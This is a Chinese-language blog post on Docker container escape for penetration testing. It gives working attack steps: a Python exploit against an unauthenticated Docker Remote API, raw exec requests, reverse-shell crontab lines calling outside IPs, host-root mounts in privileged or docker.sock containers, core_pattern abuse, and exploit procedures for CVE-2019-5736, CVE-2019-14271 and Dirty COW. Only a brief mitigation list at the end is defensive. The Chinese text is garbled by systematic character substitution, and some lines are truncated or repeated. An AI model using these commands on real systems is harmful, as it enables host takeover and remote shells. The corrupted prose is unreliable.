关于docker:Docker逃逸

32次阅读

共计 7967 个字符,预计需要花费 20 分钟才能阅读完成。

Docker 逃逸在浸透测试中面向的场景大略是这样,浸透拿到 shell 后,发现主机是 docker 环境,要进一步浸透,就必须逃逸到“间接宿主机”。甚至还有物理机运行虚拟机,虚拟机运行 Docker 容器的状况。那就还要虚拟机逃逸了。所以本文给大家介绍的就是如何判断以后环境是否为 docker 容器环境,其次通过几种形式进行 docker 逃逸。

如何判断以后机器是否为 Docker 容器环境
1、查看是否存在.dockererenv 文件
ls -alh /.dockerenv

2、查看 /proc/1/cgroup 是否存在 docker 字符串
cat /proc/1/cgroup |grep docker

3、其余检测形式
mount、fdisk - l 查看硬盘、判断 PID 1 的过程名等也可用来辅助判断。

Docker 逃逸形式

1、危险的配置导致 Docker 逃逸

因为 ” 纵深进攻 ” 和 “ 最小权限 ” 等理念和准则落地,越来越难以间接利用破绽来进行利用。另一方面,公开的破绽,平安运维人员可能及时将其修复,当然,未免存在漏网之鱼。相同,更多的是利用谬误的、危险的配置来进行利用,不仅仅 Docker 逃逸,其余破绽也是,比方生产环境开启 Debug 模式导致破绽利用等等。

Docker 曾经将容器运行时的 Capabilities 黑名单机制改为现在的默认禁止所有 Capabilities,再以白名单形式赋予容器运行所需的最小权限。

2、docket remote api 未受权拜访导致逃逸。

docker swarm 是治理 docker 集群的工具。主从治理、默认通过 2375 端口通信。绑定了一个 Docker Remote API 的服务,能够通过 HTTP、Python、调用 API 来操作 Docker

Docker Remote API 的端口 2375 端口
拜访 http://your-ip:2375/version

在 kali 上开启 nc 监听本地端口,用来接管反弹 shell。
反弹 Shell exp:

import docker 
client = docker.DockerClient(base_url='http://your-ip:2375/') 
data = client.containers.run('alpine:latest', r'''sh -c"echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root"''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

执行脚本,shell 会反弹到 kali 主机上
Github 上的 exp:https://github.com/Tycx2ry/do…

另一种形式

首先拜访 http://your-ip:2375/version
拜访 http://ip:2375/containers/json
创立一个包,失去返回的 exec_id 的参数,数据包内容如下:

POST /containers/<container_id>/exec HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
Content-Length: 188

{“AttachStdin”: true,“AttachStdout”: true,“AttachStderr”: true,“Cmd”: [“cat”,“/etc/passwd”],“DetachKeys”:“ctrl-p,ctrl-q”,“Privileged”: true,“Tty”: true
}

留神其中的 cmd 字段,这个就是要执行的命令。

失去 exec_id 参数后结构第二个 exec_start 数据包,内容如下

POST /exec/<exec_id>/start HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json

{“Detach”: false,“Tty”: false
}

到此胜利获取到 docker 主机的命令执行权限,然而还没有逃逸到宿主机,在 docker 容器中装置 docker 做为 client(kali 中有的话就不须要了)

apt-get install docker.io`
`yum -y install docker

查看宿主机的 docker image 信息

docker -H tcp:// 宿主机 ip:2375 images

启动一个容器并且将宿主机的根目录装到容器内的某个目录。

启动一个容器并且将宿主机的根目录装到容器内的某个目录。

上述命令的意思是将宿主机的根目录挂在到容器 adafef2e596e 的 /test 目录下

写一个打算工作反弹 shell(或者写.ssh 公钥都 OK)

echo '* * * * * bash -i >& /dev/tcp/x.x.x.x/8888 0>&1' >> /test/var/spool/cron/root

在 vps 上应用 nc 命令期待反弹过去的 shellnc -lvp 8888

3、Docker 高危启动参数 –privileged 特权模式启动容器

应用特权模式启动容器,能够获取大量设施文件拜访权限。因为当管理员执行 docker run —privileged 时,Docker 容器将被容许拜访主机上的所有设施,并能够执行 mount 命令进行挂载。

当操作者执行 docker run –privileged 时,Docker 将容许容器拜访宿主机上的所有设施,同时批改 AppArmor 或 SELinux 的配置,使容器领有与那些间接运行在宿主机上的过程简直雷同的拜访权限。

特权模式启动一个 Ubuntu 容器:sudo docker run -itd –privileged ubuntu:latest /bin/bash

在特权模式下,逃逸的形式很多,比方:间接在容器外部挂载宿主机磁盘,而后切换根目录。
mkdir /test
mount /dev/vda1 /test

新建一个目录:mkdir /test 挂载磁盘到新建目录:mount /dev/vda1 /test 切换根目录:chroot /test 到这里曾经胜利逃逸了,而后就是惯例的反弹 shell 和 写 SSH 了(和 redis 未受权差不多)。

其余参数:Docker 通过 Linux namespace 实现 6 项资源隔离,包含主机名、用户权限、文件系统、网络、过程号、过程间通信。但局部启动参数授予容器权限较大的权限,从而突破了资源隔离的界线。

–cap-add=SYS_ADMIN 启动时,容许执行 mount 特权操作,需取得资源挂载进行利用。

–net=host 启动时,绕过 Network Namespace

–pid=host 启动时,绕过 PID Namespace

–ipc=host 启动时,绕过 IPC Namespace

如果要写 SSH 的话,须要挂载宿主机的 root 目录到容器。docker run -itd -v /root:/root ubuntu:18.04 /bin/bash mkdir /root/.ssh cat id_rsa.pub >> /root/.ssh/authorized_keys 而后 ssh 私钥登录

写打算工作,反弹宿主机 Shell。echo ‘ * /bin/bash -i >& /dev/tcp/39.106.51.35/1234 0>&1′ >> /test/var/spool/cron/crontabs/root

4、危险挂载导致 Docker 逃逸

挂载目录(-v /:/soft)
docker run -itd -v /dir:/dir ubuntu:18.04 /bin/bash

挂载 Docker Socket
Docker 采纳 C / S 架构,咱们平时应用的 Docker 命令中,docker 即为 client,Server 端的角色由 docker daemon 表演,二者之间通信形式有以下 3 种:

unix:///var/run/docker.sock(默认
tcp://host:port
fd://socketfd

Docker Socket 是 Docker 守护过程监听的 Unix 域套接字,用来与守护过程通信——查问信息或下发命令。

逃逸复现:

1、首先创立一个容器并挂载 /var/run/docker.sock;docker run -itd -v /var/run/docker.sock:/var/run/docker.sock ubuntu
2、在该容器内装置 Docker 命令行客户端;apt-update apt-get install \ apt-transport-https \ ca-certificates \ curl \ gnupg-agent \ software-properties-common curl -fsSL https://mirrors.ustc.edu.cn/d…| apt-key add – apt-key fingerprint 0EBFCD88 add-apt-repository \ “deb [arch=amd64] https://mirrors.ustc.edu.cn/d…\ $(lsb_release -cs) \ stable” apt-get update apt-get install docker-ce docker-ce-cli containerd.io
3、接着应用该客户端通过 Docker Socket 与 Docker 守护过程通信,发送命令创立并运行一个新的容器,将宿主机的根目录挂载到新创建的容器外部;docker run -it -v /:/host ubuntu:18.04 /bin/bash
4、在新容器内执行 chroot 将根目录切换到挂载的宿主机根目录。已胜利逃逸到宿主机。

挂载宿主机 procfs
docker run -itd -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

为了辨别,挂载到容器的 /host/ 目录下

procfs 是一个伪文件系统,它动静反映着零碎内过程及其他组件的状态,其中有许多非常敏感重要的文件。因而,将宿主机的 procfs 挂载到不受控的容器中也是非常危险的,尤其是在该容器内默认启用 root 权限,且没有开启 User Namespace 时。

从 2.6.19 内核版本开始,Linux 反对在 /proc/sys/kernel/core_pattern 中应用新语法。如果该文件中的首个字符是管道符 |,那么该行的残余内容将被当作用户空间程序或脚本解释并执行。

Docker 默认状况下不会为容器开启 User Namespace 依据参考资料 1,个别状况下不会将宿主机的 procfs 挂载到容器中,然而有些业务为了实现某些非凡须要,还是会有。一些细节原理看参考资料 1 哈,这里专一于利用。复现:“在挂载 procfs 的容器内利用 core_pattern 后门实现逃逸“利用思路:攻击者进入到挂载了宿主机 profs 的容器,root 权限,而后向宿主机的 procfs 写 Payload

5、runC 容器逃逸破绽 CVE-2019-5736

Docker 18.09.2 之前的版本中应用了的 runc 版本小于 1.0-rc6,因而容许攻击者重写宿主机上的 runc 二进制文件,攻击者能够在宿主机上以 root 身份执行命令。

即通过在 docker 容器中重写和运行主机零碎的 runc 二进制文件达到逃逸的目标 利用条件:Docker 版本 < 18.09.2,runc 版本 < 1.0-rc6,个别状况下,可通过 docker 和 docker-runc 查看以后版本状况。

版本适合的状况上来尝试

首先咱们要有一个 docker 下的 shell,第二步利用脚本中的反弹 shell 命令,第三步应用 go build 来编译脚本,第四步将脚本上传到 docker 中,第五步期待宿主机执行 exec 进入以后 docker 容器的时候,宿主机就会向咱们的 vps 反弹 root 权限的 shell

下载 pocgit clone https://github.com/Frichetten… 批改 Payloadvi main.go

选中局部批改 \n 前面的命令为反弹 shell 命令即可 payload = “#!/bin/bash \n bash -i >& /dev/tcp/192.168.172.136/1234 0>&1”

编译生成 payloadCGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go 拷贝到 docker 容器中执行 sudo docker cp ./main 248f8b7d3c45:/tmp

也能够先上传到 github 上,用 git clone 命令下载。或者上传到 vps 上,而后在 vps 上用 python 开启一个 http 服务,再用 wget 下载即可。

执行此脚本,而后期待宿主机用户进入这个容器中:

docker exec -it test /bin/bash
面命令的含意是进入 test 这个容器,当宿主机上执行 exec 命令来进入咱们运行了脚本的容器的时候,宿主机就会反弹 root 权限的 shell 给咱们的 vps 的监听端口,至此利用完结。

如果没有人在宿主机执行的话是无奈 docker 逃逸的

6、Docker cp 命令容器逃逸攻打破绽 CVE-2019-14271

当 Docker 宿主机应用 cp 命令时,会调用辅助过程 docker-tar,该过程没有被容器化,且会在运行时动静加载一些 libnss.so 库。黑客能够通过在容器中替换 libnss.so 等库,将代码注入到 docker-tar 中。当 Docker 用户尝试从容器中拷贝文件时将会执行恶意代码,胜利实现 Docker 逃逸,取得宿主机 root 权限。影响版本:Docker 19.03.0

破绽原理

Copy 命令容许从容器复制文件。复制文件到容器以及在容器之间复制文件。它的语法和规范 Unix 的 cp 命令十分类似。如果从容器中复制 /var/logs/,须要应用的语法为:

docker cp container_name:/var/logs /some/host/path.

把文件复制到容器外,docker 须要借助一个名为 docker-tar 的帮忙过程

docker-tar 的工作原理是对文件进行 chroot,将申请的文件和目录放在其中,而后将其生成的 tar 文件传递回 Docker 的守护程序,该守护程序负责将其提取到宿主机的目标目录中。
CHROOT 就是 Change Root,也就是扭转程序执行时所参考的根目录地位
Docker-tar chroot 进入容器:
抉择 chroot 的形式,有一个次要起因是为了防止符号链接问题,当主机过程尝试拜访容器上的文件时,可能会产生符号链接的问题。在这些文件中,如果蕴含符号链接,那么可能会在无心中将其解析为主机根目录。这就为攻击者管制的容器敞开了大门,使得攻击者能够尝试让 docker cp 在宿主机而非容器上读取和写入文件

有破绽的版本应用 Go v1.11 编译而成的

这个版本中的一些蕴含嵌入式 C 语言代码的软件包(cgo)在运行时会加载动静共享库

这些软件包包含 net 和 os/user,都会被 docker-tar 应用,它们会在运行时加载多个 libnss_*.so 库。

通常,这些库会从宿主机的文件系统中加载,然而因为 docker-tar 会 chroots 到容器中,因而它会从容器文件系统中加载库。这也就意味着,docker-tar 将加载并执行由容器发动和管制的代码。

须要阐明的是,除了被 chroot 到容器文件系统之外,docker-tar 并没有被容器化。它运行在宿主机的命名空间中,具备所有 root 能力,并且不会受到 cgroups 或 seccomp 的限度。

有一种可能的攻打场景,是 Docker 用户从以下任一用户的地位复制一些文件:
1、运行蕴含歹意 libnss_*.so 库中歹意映像的容器;
2、受到攻打的容器,且攻击者替换了其中的 libnss_*.so 库
在这两种状况时,攻击者都能够在宿主机上实现 root 权限的任意代码执行。
利用思路

找出 docker-tar 具体会加载那些容器内的动态链接库
下载对应动态链接库源码,为其减少一个 attribute((constructor))属性的函数 run_at_link(该属性意味着在动态链接库被过程加载时,run_at_link 函数会首先被执行),在 run_at_link 函数中搁置咱们心愿 docker-tar 执行的攻打载荷(payload);编译生成动静链接文件
编写辅助脚本”/breakout“,将辅助脚本和步骤二生成的歹意动态链接库放入歹意容器,期待用户执行 docker cp 命令,触发破绽
具体复现利用可参考上面的文章:

https://cloud.tencent.com/dev…

https://blog.csdn.net/qq_4166…

7、Dirty Cow(CVE-2016-5195)脏牛破绽实现 Docker 逃逸

前置常识:
VDSO 其实就是将内核中的.so 文件映射到内存中,.so 文件是基于 Linux 下的动静链接,其性能和作用相似于 Windows 下的.dll 文件
在 Linux 中,有一个性能:VDSO(virtual dvnamic shared object),这是一个小型共享库,可能将内核主动映射到所有用户程序的地址空间,能够了解成将内核中的函数映射到内存中,不便大家拜访

Dirty cow 破绽能够让咱们获取只读内存的写的权限,咱们首先利用 dirty cow 破绽写入一段 shellcode 到 VDSO 映射的一段闲置内存中,而后扭转函数的执行程序,使得调用失常的任意函数之前都要执行这段 shellcode。这段 shellcode 初始化的时候会查看是否被 root 调用,如果是则继续执行,如果不是,则接着执行 clock_gettime 函数,接下来它会检测 /tmp/.X 文件的存在,如果存在,则这时曾经是 root 权限了,而后它会关上一个反向的 TCP 链接,为 Shellcode 中填写的 ip 返回一个 Shell。

// 这种利用办法利用胜利的前提是,宿主机的内核有 Dirty Cow 破绽

Dirty Cow(CVE-2016-5195)是 Linux 内核中的权限晋升破绽,通过它可实现 Docker 容器逃逸,取得 root 权限的 shell。

Docker 与 宿主机共享内核,因而容器须要在存在 dirtyCow 破绽的宿主机里。环境获取:git clone https://github.com/gebl/dirty…

利用过程

git clone https://github.com/scumjr/dirtycow-vdso.git
cd /dirtycow-vdso/
make

./0xdeadbeef #反弹 shell 到本地主机
./0xdeadbeef ip:port #反弹 shell 到指定主机的指定端口

利用后果

间接反弹宿主机的 shell 到 127.0.0.1

避免 docker 逃逸的形式

1、更新 Docker 版本到 19.03.1 及更高版本——CVE-2019-14271、笼罩 CVE-2019-5736

2、runc 版本 > 1.0-rc6

3、k8s 集群版本 >1.12

4、Linux 内核版本 >=2.6.22——CVE-2016-5195(脏牛)

5、Linux 内核版本 >=4.14——CVE-2017–1000405(大脏牛),未找到 docker 逃逸利用过程,但存在逃逸危险

6、不倡议以 root 权限运行 Docker 服务

7、不倡议以 privileged(特权模式)启动 Docker

8、不倡议将宿主机目录挂载至容器目录

9、不倡议将容器以—cap-add=SYSADMIN 启动,SYSADMIN 意为 container 过程容许执行 mount、umount 等一系列系统管理操作,存在容器逃逸危险。

正文完
 0